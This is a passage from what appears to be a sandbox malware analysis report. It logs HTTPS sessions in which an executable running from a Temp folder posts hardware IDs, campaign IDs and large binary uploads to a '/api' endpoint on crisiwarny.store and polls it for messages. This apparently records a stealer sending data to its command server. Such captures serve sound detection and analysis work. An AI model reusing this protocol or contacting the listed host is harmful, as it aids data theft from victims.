2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: b4 f6 1b a2 4c a3 f2 43 1a cf 85 04 89 13 d3 22 2d 44 86 3b ae 73 17 55 80 ce f9 e4 2a ee d6 06 6e b9 ef d5 b1 db 1b 28 69 4c 33 7a 79 eb 59 2c 55 8c 5d 76 73 37 3d ca fa d3 b3 bd 9f d0 30 a3 72 c9 e5 c0 c6 8b 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c Data Ascii: LC"-D;sUn(iL3zyY,U]vs7=0r~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t?1
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: d1 af b6 6c 22 32 cb 30 95 0e 45 ca 7c ff 10 89 d9 b2 11 c4 1e 61 f0 6b 98 94 9b ec 33 dc 37 90 f3 aa a4 ec 73 ff 34 51 0e a2 2c 85 49 3d e3 a0 ff 17 15 2e d3 97 e7 bd b4 ed 69 84 79 be 8c 7c ed 02 98 4a 98 13 f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 Data Ascii: l"20E\|ak37s4Q,I=.iy\|Jj~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: ac 8c 53 dc c7 7b 74 4b c7 fd 32 ea 9d 84 38 52 df 0b 1e b6 ce a3 67 9f a6 98 19 0e 4c 1c 8d d9 55 fd f7 fd 6e 0c 29 49 cd 54 8e fb 91 a8 1b 4c 8a 23 7d 7b 18 f5 fc b0 ac 28 70 6c 92 1b 8a d4 f9 fa 6d c9 32 bd a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc Data Ascii: S{tK28RgLUn)ITL#}{(plm2)sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R w
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: ff 9d 87 9c 1f b6 9e 83 c0 c8 01 ab 57 84 e5 81 0b de 7f 30 63 0a 6e ae 2c 85 5a f2 28 79 0c db fc bf 6b c7 fe e7 a8 d5 e9 ed f3 df 6e 54 93 d2 95 15 ff b4 8b 38 02 0c 9b c2 21 ec 28 2e 6a 72 c4 47 eb f9 c7 b1 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a Data Ascii: W0cn,Z(yknT8!(.jrGx;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJ
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: 5e df 76 86 43 6a 84 7d 1f b3 ac 04 26 74 35 04 dd a4 61 1d 75 35 2d ae 9c 9d 44 3e 5a da 5c d1 db fa 64 ab f6 cd 2f 0b 42 4a 82 8c 15 db 88 47 07 87 f3 17 0d 6c 7a b3 8b 3b da d1 6d 7f 0c 05 83 c0 23 28 c3 61 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f Data Ascii: ^vCj}&t5au5-D>Z\d/BJGlz;m#(aobSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: 67 ef 02 77 6c c9 a5 13 1c 27 7f 2d 73 f6 b5 36 0b 83 45 36 c2 0a 0c 3c c4 97 64 67 d3 74 70 64 93 d8 fe ff ff c4 84 33 80 d3 76 f4 03 b2 b8 73 a8 5d 86 a8 0e fd c8 1f ef 7c b7 2e 6b cb 4f 54 9b 13 34 05 80 04 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 Data Ascii: gwl'-s6E6<dgtpd3vs]\|.kOT4V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;
2024-10-26 03:55:56 UTC	15331	OUT	Data Raw: ca fd a0 10 50 86 46 54 37 f7 8c 63 ce ed 70 72 23 4a 2e 35 c5 5b 44 23 de c2 e2 99 96 c2 95 64 11 d2 ae f5 9b 46 da 6b 0e ea 99 7c 91 ce 23 27 23 e8 2f 6f 4a 4e 98 5a 7e 8a e6 df e0 f3 21 a0 6b af a3 09 67 f8 af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b Data Ascii: PFT7cpr#J.5[D#dFk\|#'#/oJNZ~!kgI:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz
2024-10-26 03:56:00 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=loaq6n043glludhm1cq690d20q; expires=Tue, 18 Feb 2025 21:42:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WiLxOjq%2FLwlVAjyI8La%2FKLzfrds8oUvF2CNHPVzlqzIBQv1fk7THRGzNzaVHE6u4oE934tCO1l2kGzcnIMbQNTDdkrcKLT%2BVHwxqzoAazQXSQ9lHkXWFipwtPw9A5e2zzpDV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87837dea186f10-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=117806&sent=211&recv=445&lost=0&retrans=0&sent_bytes=2837&recv_bytes=552318&delivery_rate=24684&cwnd=32&unsent_bytes=0&cid=8b56ba20bf44220e&ts=4178&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	50044	104.21.95.91	443	5744	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:55:58 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: crisiwarny.store
2024-10-26 03:55:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:55:58 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-26 03:55:58 UTC	1012	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:55:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9qaprvlqptkgt696vfghfai3de; expires=Tue, 18 Feb 2025 21:42:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3yxM0lqiwfSR77XNGZ6YgHfw0O2M0DMMOBNOKeCqlK70uddci6%2FkbloHGT%2BWAWfh4L4Z9nK3aGwsH9lZdv9At8MyUyU0wCDVUne6X5A%2FtTR1DiDGBioJ5d5e2DGE4nZZ7%2BOg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8783889b811c1a-AMS alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=124092&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21404&delivery_rate=23337&cwnd=32&unsent_bytes=0&cid=60bb0ee108ee9c3a&ts=607&x=0"
2024-10-26 03:55:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:55:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	50053	104.21.95.91	443	5744	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:56:01 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1303 Host: crisiwarny.store
2024-10-26 03:56:01 UTC	1303	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:56:01 UTC	1016	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qfa4ocjkgmrpo4no8p5i6odd0r; expires=Tue, 18 Feb 2025 21:42:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rqaBtHk%2BSPexSM9ft8Xf6MG1kEQ92N6feC%2BOx4DD2WVs6%2FFwNQ0PbFrlmXaLpy7W21K44E2q%2FR82fvpxeJ4%2FcRAqBM5uGsl5hqBFgecl8GtdT0mpv6KLmc26Loobl%2F%2Bl3Z5d"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87839c199be96a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2069&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2220&delivery_rate=1379704&cwnd=250&unsent_bytes=0&cid=aee5f3cd10fb56f0&ts=695&x=0"
2024-10-26 03:56:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 36 38 0d 0a Data Ascii: 11ok 173.254.250.68
2024-10-26 03:56:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50052	104.21.95.91	443	1340	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:56:01 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: crisiwarny.store
2024-10-26 03:56:01 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=A24AF50135A1A1224D46A83D1FF0DA84
2024-10-26 03:56:01 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 26 Oct 2024 03:56:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=48c75399j0jb3im29f34au6ref; expires=Tue, 18 Feb 2025 21:42:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0Ew%2Fj7%2FYvDbAzdF0Jrf1bW6hkKgw5nAeRgNHOMBn%2FKgFqfg8423mKhvnrEdw3rrd3dnQluu%2B9p2%2Bt1p%2Fwreh6rCEw%2F9m5w4ypR0xjj9HHfZ9l1kEYkVcxcgiMKf9ZtmniQuQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d87839eaba3d08b-CDG alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=116791&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=987&delivery_rate=24762&cwnd=32&unsent_bytes=0&cid=72b4a1f40aa90097&ts=657&x=0"
2024-10-26 03:56:01 UTC	299	IN	Data Raw: 31 32 34 0d 0a 4c 30 57 75 42 6a 45 39 35 64 4e 59 4e 47 50 77 33 52 69 36 35 4c 64 49 45 37 73 65 58 7a 2f 4c 72 53 2f 42 69 6f 31 34 48 50 35 30 50 6f 78 7a 45 77 66 48 75 79 78 41 45 38 71 42 4e 2b 62 4c 68 6e 41 6d 6c 53 78 75 43 75 57 63 48 76 4b 6b 76 45 35 41 30 55 49 73 77 47 4e 74 45 70 65 79 4e 6c 41 4d 6e 66 4e 39 77 6f 47 56 5a 44 48 64 61 6e 30 46 2b 34 45 4e 70 4b 69 33 53 47 48 53 56 47 66 62 4a 41 73 66 6a 61 63 73 52 46 6d 73 38 6b 53 56 31 59 39 39 50 59 6b 76 61 68 48 36 6e 42 7a 76 75 37 73 6b 4d 34 31 62 49 4d 39 72 62 52 4b 58 73 6a 5a 51 44 4a 33 7a 66 63 4b 42 6c 57 51 78 33 57 70 39 42 66 75 42 44 61 53 6f 74 30 68 68 30 6c 52 6e 32 79 51 4c 48 34 32 6e 4c 45 52 5a 72 50 4a 45 6c 64 57 50 66 54 32 4a 4c 32 6f 52 2b 70 77 63 37 37 Data Ascii: 124L0WuBjE95dNYNGPw3Ri65LdIE7seXz/LrS/Bio14HP50PoxzEwfHuyxAE8qBN+bLhnAmlSxuCuWcHvKkvE5A0UIswGNtEpeyNlAMnfN9woGVZDHdan0F+4ENpKi3SGHSVGfbJAsfjacsRFms8kSV1Y99PYkvahH6nBzvu7skM41bIM9rbRKXsjZQDJ3zfcKBlWQx3Wp9BfuBDaSot0hh0lRn2yQLH42nLERZrPJEldWPfT2JL2oR+pwc77
2024-10-26 03:56:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50058	104.21.95.91	443	5744	C:\Users\user\AppData\Local\Temp\1001605001\e192e43b61.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-26 03:56:04 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 549606 Host: crisiwarny.store
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 32 34 41 46 35 30 31 33 35 41 31 41 31 32 32 34 44 34 36 41 38 33 44 31 46 46 30 44 41 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"A24AF50135A1A1224D46A83D1FF0DA84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: 36 18 f9 61 48 51 9a 26 0c e6 69 2a c2 1b 42 f3 5f 3a 8f 6b ff 5b d9 33 82 3b 81 93 b5 ac 78 86 32 4c f7 38 95 aa 95 e2 07 49 6d fc d4 75 8c 89 13 dd cb 36 7e 60 f2 29 70 3c 9c aa 7c ff 3c 02 ea 0d 51 1a 0a df 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd Data Ascii: 6aHQ&i*B_:k[3;x2L8Imu6~`)p<\|<Q<1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8e
2024-10-26 03:56:04 UTC	15331	OUT	Data Raw: 10 58 65 41 d0 7e 60 42 36 54 f0 4d fe e2 98 7e 14 13 64 db cd c1 84 55 b6 86 b9 f3 5e ce 69 96 42 ca 47 8e e4 8b 61 de 63 9a a5 43 06 f2 7c ac e4 a4 2e 2d b5 4e a4 d4 4b 74 61 6a b5 14 de b6 06 e3 03 86 6b a9 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a Data Ascii: XeA~`B6TM~dU^iBGacC\|.-NKtajk&F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;j
